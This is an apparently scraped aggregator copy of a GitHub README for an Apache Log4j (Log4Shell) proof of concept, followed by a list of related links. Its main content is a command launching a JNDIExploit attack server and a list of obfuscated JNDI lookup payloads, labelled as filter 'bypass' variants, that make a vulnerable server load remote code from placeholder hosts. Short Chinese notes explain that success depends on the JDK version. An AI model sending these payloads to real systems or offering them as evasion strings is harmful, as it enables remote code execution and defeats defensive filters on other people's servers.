

GitHub - shanfenglan/apache_log4j_poc: apache log4j poc—— base Maven
source link: https://github.com/shanfenglan/apache_log4j_poc
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

apache_log4j_poc
apache log4j poc—— base Maven
原理:https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg
使用JNDIExploit开启jndi服务器:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.171.1 -l 12344 -p 9999
参考文章:https://www.codenong.com/f23e29b783ff38df36c9/
bypass 方式
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。
这个漏洞的利用跟JDK中的配置有很大关系,换句话说跟jdk版本关系很大。 只要JDK版本无漏洞,那么apache log4j的这个RCE就很难利用成功。
Recommend
-
107
[ANNOUNCEMENT] Apache Log4j 2.10.0 released-Apache Mail Archives Powered by Apache Pony Mail (Foal v/1.0.1 ~952d7f7). For data privacy requests, please contact: privacy@apac...
-
22
README.md Apache Maven
-
13
Advise on Apache Log4j Zero Day (CVE-2021-44228) 10 Dec 2021 Konstantin Knauf Yesterday, a new Zero Day for Apache Log4j was
-
9
CVE-2021-44228(Apache Log4j Remote Code Execution) Affected versions < 2.15.0 Useage: git clone https://gith...
-
10
Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logba...
-
6
Widespread Exploitation of Critical Remote Code Execution in Apache Log4j Informat...
-
10
Log4jHotPatch This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances...
-
3
Files Permalink Latest commit message Commit time
-
12
mvnd - the Maven Daemon Introduction This project aims at providing faster Maven builds using techniques known from Gradle and Takari. ...
-
8
README.md ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK